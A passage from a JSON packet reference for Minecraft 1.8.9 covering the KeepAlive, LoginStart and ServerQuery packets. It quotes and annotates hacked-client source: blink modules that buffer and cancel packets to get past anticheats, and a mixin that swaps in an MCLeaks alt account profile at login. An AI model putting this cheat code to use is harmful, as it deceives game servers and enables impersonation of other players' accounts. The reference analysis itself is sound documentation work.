       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/timer/TimerA.java",
       "variations": "Grim Timer and TimerLimit use the same balance concept with a packet-type whitelist that deliberately excludes keepalive from the count; FlopAC TimerA/B and Artemis TimerBalance, TimerGladUrBad and TimerReverse add statistical scoring; Azure Timer and TimerB average timer speed over a deque; TruthfulAC TimerA keeps a nanosecond timer balance; AntiHaxerman TimerA runs a balance system on the Artemis packet wrapper."
      }
     ]
    }
   },
   "wiki_notes": [
    "1.8.9 key is a plain int coded as VarInt (readVarIntFromBuffer/writeVarIntToBuffer), not a long.",
    "PLAY serverbound 0x00; client echoes the S00 key and the server folds RTT into a ping average, ignoring mismatched keys.",
    "Server issues S00 about once per second; a missing echo leads to read-timeout disconnect, not an instant kick.",
    "MCP 1.8.9 C00PacketKeepAlive implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processKeepAlive; wire serde is readPacketData/writePacketData via readVarIntFromBuffer.",
    "1.8.9 callers: GuiDownloadTerrain.updateScreen sends new C00PacketKeepAlive (line 44) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/gui/GuiDownloadTerrain.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C00PacketKeepAlive/",
   "mcp_path": "net/minecraft/network/play/client/C00PacketKeepAlive.java",
   "group": "play-server",
   "logic_classes": [
    "NetHandlerPlayClient"
   ]
  },
  {
   "id": "C00PacketLoginStart",
   "hex": "0x00",
   "dec": 0,
   "dir": "SERVERBOUND",
   "state": "LOGIN",
   "name": "Login Start",
   "desc": "Starts the login process by sending the player's GameProfile (username) to the server.",
   "tags": [
    "login",
    "authentication",
    "player"
   ],
   "fields": [
    {
     "name": "profile",
     "type": "GameProfile",
     "desc": "Player's GameProfile containing the username (UUID is null at this stage)"
    }
   ],
   "encoding": [
    [
     "Username",
     "String (max 16)",
     "The player's Minecraft username"
    ]
   ],
   "mcp": [
    "NetHandlerLoginServer.processLoginStart()"
   ],
   "handler": "INetHandlerLoginServer",
   "notes": "Sent immediately after C00Handshake (with state=LOGIN). The GameProfile has a username but the UUID is null: the server fills it in from Mojang's auth servers and returns it in S02PacketLoginSuccess. This is the first step of the login handshake after the initial HANDSHAKING state.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C00PacketLoginStart is the first packet of the LOGIN state, sent immediately after C00Handshake with nextState=2. It carries a GameProfile whose username is the only meaningful field; the UUID is null at this stage and the server fills it in from the session service. The vanilla client fires it from three places: GuiConnecting on connect, Minecraft.java's direct networkmanager path, and RealmsConnect for realm joins. The server answers with S01PacketEncryptionRequest on online-mode servers or S02PacketLoginSuccess on offline-mode servers. Everything after this packet is gated on the server's decision in processLoginStart."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerLoginServer.processLoginStart validates the currentLoginState is HELLO via Validate.validState, stores the profile, then branches on server.isServerInOnlineMode() and whether the channel is local. Online mode moves to KEY state and sends S01PacketEncryptionRequest; offline mode jumps straight to READY_TO_ACCEPT. The username arrives as a VarInt-length-prefixed UTF-8 string; the client enforces the 16-character limit at the login screen, and the packet itself does no re-validation beyond reading the string."
     },
     {
      "h": "Why clients touch it",
      "p": "Three families in the corpus reference this packet. Rise 6.1.30 and 6.2.4 BlinkComponent list C00PacketLoginStart in a five-class exemption set that is returned untouched by the blink buffer. Spicy Blink, Fly and BackupFly use an identical three-way guard (C00PacketKeepAlive, C00Handshake, C00PacketLoginStart) in their EventSendPacket handlers so the handshake always flows while the module cancels everything else. LiquidSense Dev is the one client that rewrites the packet: MixinGuiConnecting overwrites the vanilla connect method and, when an MCLeaks alt session is active, sends C00PacketLoginStart with a GameProfile built from MCLeaks.getSession().getUsername() instead of the launcher profile. The 8 classic clients treat the packet as untouchable plumbing; the 1.8-era Gugustus NameSpoof pattern never reappears in this corpus."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is sent before encryption, so the username is visible to any MITM during login, and on offline-mode servers the name is trust-on-first-use: impersonation is a server configuration weakness, not a packet bug. The MCLeaks variant in LiquidSense Dev reuses that trust model, since the swapped username is what the server stores on offline-mode joins. Client-side abuse is otherwise limited to cancellation, which stalls the login at HELLO until the server's connection timeout fires. The only real engineering concern for module authors is accidental swallowing: a blink module that buffers C00PacketLoginStart breaks every future join, which is exactly why both Rise's component and Spicy's modules hard-code the exemption."
     }
    ],
    "overview": "The login opener: username-only GameProfile sent right after the handshake. BlinkComponent (Rise 6.x) and Spicy's Blink/Fly/BackupFly exempt it from packet buffering so the handshake survives while they hold everything else; LiquidSense Dev's MixinGuiConnecting is the only corpus hit that rewrites the username, swapping in the MCLeaks alt profile when an alt session is active.",
    "server_handling": "NetHandlerLoginServer.processLoginStart: Validate.validState(HELLO), store loginGameProfile, then either send S01PacketEncryptionRequest and move to KEY (online mode, non-local channel) or move straight to READY_TO_ACCEPT (offline mode or local channel). No username validation beyond the wire read; the server trusts the client's login-screen limit of 16 chars.",
    "protocol_notes": "Sent in LOGIN state only, id 0x00. Single String field: VarInt length + UTF-8 bytes. UUID in the GameProfile is null until the server resolves it via the session service. State must be LOGIN after the C00Handshake; a C00PacketLoginStart in any other state is a protocol violation that the server's Validate check rejects.",
    "anticheat_landscape": "No anti-cheat parses this packet: it carries no position, timing, or interaction data and the player entity does not exist yet. Serverside plugins and proxies (auth plugins, BungeeCord) consume the name for pre-auth bookkeeping, but nothing in the 8 clients interacts with that. The packet is a non-surface for flagging, which is why modules only need to avoid breaking it.",
    "modules": [
     {
      "name": "BlinkComponent",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Exempt C00PacketLoginStart (and the other four pre-play serverbound packets) from blink buffering so the login handshake always reaches the server while blink is active.",
      "how_it_works": "A PacketSendEvent listener at VERY_LOW priority returns without cancelling when the packet is C00Handshake, C00PacketLoginStart, C00PacketServerQuery, C01PacketPing or C01PacketEncryptionResponse. Any other packet is parked in the static queue and cancelled, unless it matches the per-module setExempt list. The queue flushes via PacketUtil.sendNoEvent when a C03PacketPlayer arrives, the player dies, or the world changes.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BlinkComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.other.ServerJoinEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.client.C00PacketLoginStart;\nimport net.minecraft.network.login.client.C01PacketEncryptionResponse;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.status.client.C00PacketServerQuery;\nimport net.minecraft.network.status.client.C01PacketPing;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class BlinkComponent extends Component {\n\n    public static final ConcurrentLinkedQueue<Packet<?>> packets = new ConcurrentLinkedQueue<>();\n    public static boolean blinking, dispatch;\n    public static ArrayList<Class<?>> exemptedPackets = new ArrayList<>();\n    public static StopWatch exemptionWatch = new StopWatch();\n\n    public static void setExempt(Class<?>... packets) {\n        exemptedPackets = new ArrayList<>(Arrays.asList(packets));\n        exemptionWatch.reset();\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        if (mc.thePlayer == null) {\n            packets.clear();\n            exemptedPackets.clear();\n            return;\n        }\n\n        if (mc.thePlayer.isDead || mc.isSingleplayer() || !mc.getNetHandler().doneLoadingTerrain) {\n            packets.forEach(PacketUtil::sendNoEvent);\n            packets.clear();\n            blinking = false;\n            exemptedPackets.clear();\n            return;\n        }\n\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof C00Handshake || packet instanceof C00PacketLoginStart ||\n                packet instanceof C00PacketServerQuery || packet instanceof C01PacketPing ||\n                packet instanceof C01PacketEncryptionResponse) {\n            return;\n        }\n\n        if (blinking && !dispatch) {\n            if (exemptionWatch.finished(100)) {\n                exemptionWatch.reset();\n                exemptedPackets.clear();\n            }\n\n//            PingSpoofComponent.spoofing = false;\n\n            if (!event.isCancelled() && exemptedPackets.stream().noneMatch(packetClass ->\n                    packetClass == packet.getClass())) {\n                packets.add(packet);\n                event.setCancelled();\n            }\n        } else if (packet instanceof C03PacketPlayer) {\n            packets.forEach(PacketUtil::sendNoEvent);\n            packets.clear();\n            dispatch = false;\n        }\n    };\n\n    public static void dispatch() {\n        dispatch = true;\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        packets.clear();\n        BlinkComponent.blinking = false;\n    };\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<ServerJoinEvent> onServerJoin = event -> {\n        packets.clear();\n        BlinkComponent.blinking = false;\n    };\n\n}\n\n\n// NOTE (AI): The exemption list covers every serverbound packet that exists before the PLAY state, so blink can never swallow the login or status flow. Everything else is parked in the static queue and flushed through sendNoEvent, which bypasses the event bus entirely, when a C03PacketPlayer arrives or the player dies. The exemptionWatch window lets modules temporarily whitelist specific packet classes for 100ms.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BlinkComponent.java",
      "vanilla_hook": "PacketSendEvent",
      "anti_cheat_notes": "None: the packet is returned untouched, so wire behavior is identical to vanilla. The exemption exists purely to prevent self-inflicted login stalls, not to evade anything.",
      "variations": "Rise 6.1.30 ships the byte-identical file at com/alan/clients/component/impl/player/BlinkComponent.java; both versions use the same five-class instanceof list and the same 100ms exemption window."
     },
     {
      "name": "Blink / Fly / BackupFly (login allowlist)",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Keep the handshake alive while the module cancels and buffers all other serverbound packets, so blink and Hypixel-mode fly cannot kill the login sequence.",
      "how_it_works": "EventSendPacket pre handler returns early when the packet is C00PacketKeepAlive, C00Handshake or C00PacketLoginStart. Every other packet is added to a static ArrayList and cancelled. Blink flushes the queue through mc.getNetHandler().addToSendQueue on disable; Fly's Hypixel mode applies the same guard before rewriting C03PacketPlayer fields and parking packets in its own buffer.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/Blink.java =====\npackage info.spicyclient.modules.player;\n\nimport java.util.ArrayList;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventSendPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.notifications.Color;\nimport info.spicyclient.notifications.NotificationManager;\nimport info.spicyclient.notifications.Type;\nimport net.minecraft.network.NetworkManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.client.C00PacketLoginStart;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\n\npublic class Blink extends Module {\n\t\n\tpublic static ArrayList<Packet> packets = new ArrayList<Packet>();\n\t\n\tpublic Blink() {\n\t\tsuper(\"Blink\", Keyboard.KEY_NONE, Category.PLAYER);\n\t}\n\t\n\tpublic void onEnable() {\n\t\tpackets.clear();\n\t\t\n\t\tif (mc.isSingleplayer()) {\n\t\t\tNotificationManager.getNotificationManager().createNotification(\"Don't use blink in singleplayer!\", \"\", true, 5000, Type.WARNING, Color.RED);\n\t\t\tthis.toggle();\n\t\t}\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t\tfor (Packet p : packets) {\n\t\t\t\n\t\t\tif (mc.isSingleplayer()) {\n\t\t\t\t\n\t\t\t}else {\n\t\t\t\tmc.getNetHandler().addToSendQueue(p);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tpackets.clear();\n\t\t\n\t}\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventSendPacket) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\tif (((EventSendPacket)e).packet instanceof C00PacketKeepAlive || ((EventSendPacket)e).packet instanceof C00Handshake || ((EventSendPacket)e).packet instanceof C00PacketLoginStart) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tEventSendPacket sendPacket = (EventSendPacket) e;\n\t\t\t\tpackets.add(sendPacket.packet);\n\t\t\t\tsendPacket.setCanceled(true);\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n\n\n// NOTE (AI): The allowlist guard runs before the cancel branch, so keepalive, handshake and login packets are returned untouched while everything else is buffered and cancelled. The queue flushes through addToSendQueue on disable, which re-enters the normal send path (and therefore the event bus) rather than bypassing it like Rise's sendNoEvent.",
      "code_source": "Spicy, info/spicyclient/modules/player/Blink.java",
      "vanilla_hook": "EventSendPacket",
      "anti_cheat_notes": "No anti-cheat relevance: the guard only prevents the module from breaking its own connection. The interesting detail is that the exemption is identical across three modules, which suggests a shared template in Spicy's codebase.",
      "variations": "Fly.java repeats the same three-way instanceof guard at lines 398, 818 and 1032 in its Hypixel mode, and BackupFly.java at lines 356 and 725; both additionally rewrite C03PacketPlayer on-ground/moving flags after the guard."
     },
     {
      "name": "MCLeaks / MixinGuiConnecting",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Swap the login GameProfile for the MCLeaks alt session so the server records the alt username instead of the launcher account.",
      "how_it_works": "@Overwrite on GuiConnecting.connect reimplements the connect thread: it sends C00Handshake, then C00PacketLoginStart whose GameProfile is built from MCLeaks.getSession().getUsername() when MCLeaks.isAltActive() and from mc.getSession().getProfile() otherwise. A second @Inject at the C00PacketLoginStart NEW allocation that would do the same swap via networkManager.sendPacket sits commented out, leaving the overwrite as the live path.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiConnecting.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.gui;\n\nimport com.mojang.authlib.GameProfile;\nimport net.ccbluex.liquidbounce.ui.font.Fonts;\nimport net.ccbluex.liquidbounce.utils.ServerUtils;\nimport net.ccbluex.liquidbounce.utils.render.RenderUtils;\nimport net.mcleaks.MCLeaks;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.gui.GuiDisconnected;\nimport net.minecraft.client.gui.GuiScreen;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.client.multiplayer.GuiConnecting;\nimport net.minecraft.client.multiplayer.ServerData;\nimport net.minecraft.client.network.NetHandlerLoginClient;\nimport net.minecraft.network.EnumConnectionState;\nimport net.minecraft.network.NetworkManager;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.client.C00PacketLoginStart;\nimport net.minecraft.util.ChatComponentTranslation;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\nimport org.apache.logging.log4j.Logger;\nimport org.spongepowered.asm.mixin.Final;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Overwrite;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\n\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n@Mixin(GuiConnecting.class)\n@SideOnly(Side.CLIENT)\npublic abstract class MixinGuiConnecting extends GuiScreen {\n\n    @Shadow\n    private NetworkManager networkManager;\n\n    @Shadow\n    @Final\n    private static Logger logger;\n\n    @Shadow\n    private boolean cancel;\n\n    @Shadow\n    @Final\n    private GuiScreen previousGuiScreen;\n\n    @Shadow\n    @Final\n    private static AtomicInteger CONNECTION_ID;\n\n    @Inject(method = \"connect\", at = @At(\"HEAD\"))\n    private void headConnect(final String ip, final int port, CallbackInfo callbackInfo) {\n        ServerUtils.serverData = new ServerData(\"\", ip + \":\" + port, false);\n    }\n\n    @Inject(method = \"connect\", at = @At(value = \"NEW\", target = \"net/minecraft/network/login/client/C00PacketLoginStart\"), cancellable = true)\n    private void mcLeaks(CallbackInfo callbackInfo) {\n//        if(MCLeaks.isAltActive()) {\n//            networkManager.sendPacket(new C00PacketLoginStart(new GameProfile(null, MCLeaks.getSession().getUsername())));\n//            callbackInfo.cancel();\n//        }\n    }\n\n    /**\n     * @author CCBlueX\n     */\n    @Overwrite\n    private void connect(final String ip, final int port) {\n        logger.info(\"Connecting to \" + ip + \", \" + port);\n\n        new Thread(() -> {\n            InetAddress inetaddress = null;\n\n            try {\n                if(cancel) {\n                    return;\n                }\n\n                inetaddress = InetAddress.getByName(ip);\n                networkManager = NetworkManager.createNetworkManagerAndConnect(inetaddress, port, mc.gameSettings.isUsingNativeTransport());\n                networkManager.setNetHandler(new NetHandlerLoginClient(networkManager, mc, previousGuiScreen));\n                networkManager.sendPacket(new C00Handshake(47, ip, port, EnumConnectionState.LOGIN, true));\n                networkManager.sendPacket(new C00PacketLoginStart(MCLeaks.isAltActive() ? new GameProfile(null, MCLeaks.getSession().getUsername()) : mc.getSession().getProfile()));\n            }catch(UnknownHostException unknownhostexception) {\n                if(cancel)\n                    return;\n\n                logger.error(\"Couldn\\'t connect to server\", unknownhostexception);\n                mc.displayGuiScreen(new GuiDisconnected(previousGuiScreen, \"connect.failed\", new ChatComponentTranslation(\"disconnect.genericReason\", \"Unknown host\")));\n            }catch(Exception exception) {\n                if(cancel) {\n                    return;\n                }\n\n                logger.error(\"Couldn\\'t connect to server\", exception);\n                String s = exception.toString();\n\n                if(inetaddress != null) {\n                    String s1 = inetaddress.toString() + \":\" + port;\n                    s = s.replaceAll(s1, \"\");\n                }\n\n                mc.displayGuiScreen(new GuiDisconnected(previousGuiScreen, \"connect.failed\", new ChatComponentTranslation(\"disconnect.genericReason\", s)));\n            }\n        }, \"Server Connector #\" + CONNECTION_ID.incrementAndGet()).start();\n    }\n\n    /**\n     * @author CCBlueX\n     */\n    @Overwrite\n    public void drawScreen(int mouseX, int mouseY, float partialTicks) {\n        ScaledResolution scaledResolution = new ScaledResolution(Minecraft.getMinecraft());\n\n        this.drawDefaultBackground();\n\n        RenderUtils.drawLoadingCircle(scaledResolution.getScaledWidth() / 2, scaledResolution.getScaledHeight() / 4 + 70);\n\n        String ip = \"Unknown\";\n\n        final ServerData serverData = mc.getCurrentServerData();\n        if(serverData != null)\n            ip = serverData.serverIP;\n\n        Fonts.font40.drawCenteredString(\"Connecting to\", scaledResolution.getScaledWidth() / 2, scaledResolution.getScaledHeight() / 4 + 110, 0xFFFFFF, true);\n        Fonts.font35.drawCenteredString(ip, scaledResolution.getScaledWidth() / 2, scaledResolution.getScaledHeight() / 4 + 120, 0x5281FB, true);\n\n        super.drawScreen(mouseX, mouseY, partialTicks);\n    }\n}\n\n\n// NOTE (AI): The only corpus code that deliberately mutates C00PacketLoginStart. The live path is the @Overwrite connect method, which rebuilds the whole login thread; the commented-out @Inject at the NEW allocation shows the abandoned mixin approach that would have sent the alt packet directly and cancelled the vanilla construction. Note the overwrite also drops the vanilla 'Server Connector' thread naming logic in favor of a plain lambda thread and adds the ServerUtils.serverData bookkeeping in headConnect.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiConnecting.java",
      "vanilla_hook": "No event hook: a Mixin @Overwrite replaces the vanilla connect method body; the send goes through the raw NetworkManager.",
      "anti_cheat_notes": "No anti-cheat reads the login state; the swap matters only to the server's offline-mode name storage. The packet is sent before encryption, so the alt name is visible on the wire to any MITM.",
      "variations": "Rise 6.x and Spicy only exempt the packet from buffering; LiquidSense Dev is the single corpus client that actually rewrites the profile field, and only when an MCLeaks alt is active."
     }
    ],
    "general_hooks": "PacketSendEvent / EventSendPacket on the classic clients; Rise 6.x routes through its component system with @EventLink listeners. LiquidSense Dev hooks the send site itself via a mixin overwrite instead of the event bus.",
    "client_variations": "Rise uses a central BlinkComponent with an explicit class allowlist and sendNoEvent flushing. Spicy implements the guard inline in each module's EventSendPacket handler with instanceof casts on the raw Packet. LiquidSense Dev replaces the vanilla send site entirely and conditionally picks the GameProfile at construction time.",
    "related": [
     "C00Handshake",
     "S01PacketEncryptionRequest",
     "S02PacketLoginSuccess",
     "S00PacketDisconnect"
    ],
    "anticheat": {
     "overview": "LoginStart is invisible to server-side anticheats: the player entity, world and timing state do not exist yet, and the packet carries only the username. The two corpus hits are packet-library plumbing: FlopAC ChannelHandlerAbstract and intave TinyProtocol both declare the PACKET_LOGIN_IN_START class constant and route it through their channel handlers, and intave's handleLoginStart dispatcher serves the plugin's own cloud-control channel, not a check on the Minecraft login packet. No anticheat flags anything on it.",
     "checks": []
    }
   },
   "wiki_notes": [
    "On offline-mode (authentication disabled) servers encryption is skipped entirely and Login Start is directly followed by Login Success.",
    "The vanilla server derives offline-mode UUIDs as UUID version 3 of the string OfflinePlayer:<player name>, though the protocol itself accepts any UUID the server sends in Login Success.",
    "MCP 1.8.9 C00PacketLoginStart implements Packet<INetHandlerLoginServer> dispatching to INetHandlerLoginServer.processLoginStart; wire serde is readPacketData/writePacketData via readStringFromBuffer.",
    "1.8.9 callers: Minecraft.? sends new C00PacketLoginStart (line 2339) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/Minecraft.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C00PacketLoginStart/",
   "mcp_path": "net/minecraft/network/login/client/C00PacketLoginStart.java",
   "group": "login-server",
   "logic_classes": [
    "Minecraft"
   ]
  },
  {
   "id": "C00PacketServerQuery",
   "hex": "0x00",
   "dec": 0,
   "dir": "SERVERBOUND",
   "state": "STATUS",
   "name": "Status Request",
   "desc": "Requests the server's status (MOTD, player count, favicon, protocol version). Empty packet with no payload.",
   "tags": [
    "status",
    "server",
    "ping"
   ],
   "fields": [],
   "encoding": [
    [
     "No payload",
     "",
     "Completely empty packet, just the 0x00 packet ID"
    ]
   ],
   "mcp": [
    "NetHandlerStatusServer.processServerQuery()"
   ],
   "handler": "INetHandlerStatusServer",
   "notes": "Sent immediately after C00Handshake when the nextState is STATUS (1). The server responds with S00PacketServerInfo (JSON status). Used by the multiplayer server list screen (OldServerPinger.java).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C00PacketServerQuery is the STATUS-state request that opens the server-list ping exchange. It is a completely empty packet, just the 0x00 id. OldServerPinger sends it immediately after C00Handshake with nextState=1, and the server answers with S00PacketServerInfo carrying the JSON status blob (MOTD, version, player counts, favicon). RealmsServerStatusPinger uses the same packet for the realms screen. The exchange exists entirely outside gameplay: it runs while the server list is displayed and no world or player entity exists."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerStatusServer.processServerQuery is a one-liner: it responds with S00PacketServerInfo(server.getServerStatusResponse()), and the status object is generated on demand by the dedicated server. There is no rate limiting, no state machine, and no validation beyond the handler dispatch. OldServerPinger sends the query on a fresh NetworkManager whose direction is already pinned to the STATUS state by the handshake, so any packet other than S00PacketServerInfo or S01PacketPong on the reply side closes the connection as a protocol error."
     },
     {
      "h": "Why clients touch it",
      "p": "Only Rise 6.1.30 and 6.2.4 BlinkComponent reference this packet, and only to exempt it from blink buffering, exactly like C00PacketLoginStart. No exploit module in the 8 clients sends or mutates it. The status query is invisible to gameplay-oriented modules because their event buses are wired to play-state packets and their logic assumes a loaded world. Spicy's Bhop.java carries a C00PacketServerQuery import with no usage anywhere in the file, a dead import that does not count as a module hit."
     },
     {
      "h": "Exploit surface",
      "p": "The abusive use of this packet is server scanning: flood C00PacketServerQuery over many connections to enumerate hosts or measure their response latency. None of the 8 clients ships such a scanner, and the STATUS state is not even reachable from module code in most of them because the event system only fires packet events after world join. The practical consequence is that this packet is a non-surface in the corpus: the only code touching it is the defensive exemption in BlinkComponent."
     }
    ],
    "overview": "The empty STATUS-state opener for the server-list ping. No module in the 8 clients sends or mutates it; the only corpus hit is BlinkComponent's exemption list, which keeps the packet flowing while blink buffers everything else. Spicy Bhop's import is dead code.",
    "server_handling": "NetHandlerStatusServer.processServerQuery responds immediately with S00PacketServerInfo(this.server.getServerStatusResponse()). No rate limit, no state validation, no per-player tracking: the status is generated fresh for every query and the connection is expected to be closed by the client pinger afterwards.",
    "protocol_notes": "STATUS state only, id 0x00, zero payload bytes. Must follow a C00Handshake with nextState=1. The server replies S00PacketServerInfo; the client pinger then sends C01PacketPing and waits for S01PacketPong before closing. RealmsServerStatusPinger sends the same query on realm connections. Sending it in any other state fails protocol validation at the handler dispatch.",
    "anticheat_landscape": "No anti-cheat measures this packet: there is no player, no world, and no timing value the server folds into anything persistent. Status queries are a reflection/scanning surface for server owners (they reveal MOTD and player counts to anyone), but that is a server exposure, not a client module concern. The 8 clients contain no scanner, so the packet never appears in their gameplay traffic.",
    "modules": [
     {
      "name": "BlinkComponent",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Exempt C00PacketServerQuery from blink buffering so the server-list ping still completes while the blink queue is armed.",
      "how_it_works": "The PacketSendEvent listener returns early for a hard-coded list of pre-play packets that includes C00PacketServerQuery alongside C00Handshake, C00PacketLoginStart, C01PacketPing and C01PacketEncryptionResponse. The packet is never parked in the blink queue, so OldServerPinger's query reaches the wire even when blinking is on.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BlinkComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.other.ServerJoinEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.client.C00PacketLoginStart;\nimport net.minecraft.network.login.client.C01PacketEncryptionResponse;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.status.client.C00PacketServerQuery;\nimport net.minecraft.network.status.client.C01PacketPing;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class BlinkComponent extends Component {\n\n    public static final ConcurrentLinkedQueue<Packet<?>> packets = new ConcurrentLinkedQueue<>();\n    public static boolean blinking, dispatch;\n    public static ArrayList<Class<?>> exemptedPackets = new ArrayList<>();\n    public static StopWatch exemptionWatch = new StopWatch();\n\n    public static void setExempt(Class<?>... packets) {\n        exemptedPackets = new ArrayList<>(Arrays.asList(packets));\n        exemptionWatch.reset();\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        if (mc.thePlayer == null) {\n            packets.clear();\n            exemptedPackets.clear();\n            return;\n        }\n\n        if (mc.thePlayer.isDead || mc.isSingleplayer() || !mc.getNetHandler().doneLoadingTerrain) {\n            packets.forEach(PacketUtil::sendNoEvent);\n            packets.clear();\n            blinking = false;\n            exemptedPackets.clear();\n            return;\n        }\n\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof C00Handshake || packet instanceof C00PacketLoginStart ||\n                packet instanceof C00PacketServerQuery || packet instanceof C01PacketPing ||\n                packet instanceof C01PacketEncryptionResponse) {\n            return;\n        }\n\n        if (blinking && !dispatch) {\n            if (exemptionWatch.finished(100)) {\n                exemptionWatch.reset();\n                exemptedPackets.clear();\n            }\n\n//            PingSpoofComponent.spoofing = false;\n\n            if (!event.isCancelled() && exemptedPackets.stream().noneMatch(packetClass ->\n                    packetClass == packet.getClass())) {\n                packets.add(packet);\n                event.setCancelled();\n            }\n        } else if (packet instanceof C03PacketPlayer) {\n            packets.forEach(PacketUtil::sendNoEvent);\n            packets.clear();\n            dispatch = false;\n        }\n    };\n\n    public static void dispatch() {\n        dispatch = true;\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        packets.clear();\n        BlinkComponent.blinking = false;\n    };\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<ServerJoinEvent> onServerJoin = event -> {\n        packets.clear();\n        BlinkComponent.blinking = false;\n    };\n\n}\n\n\n// NOTE (AI): The same five-class exemption covers the whole STATUS/LOGIN handshake, so blink is invisible before world join. Because blink is a PLAY-state exploit, the exemption is defensive: without it, a user toggling blink on the server list would silently break the pinger's query and the server row would hang.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BlinkComponent.java",
      "vanilla_hook": "PacketSendEvent",
      "anti_cheat_notes": "None: the packet is passed through unmodified. The only observable effect is that the server list still works while blink is enabled.",
      "variations": "Rise 6.1.30 is byte-identical. No other client in the corpus touches this packet with real code; Spicy's Bhop.java has an unused import only."
     }
    ],
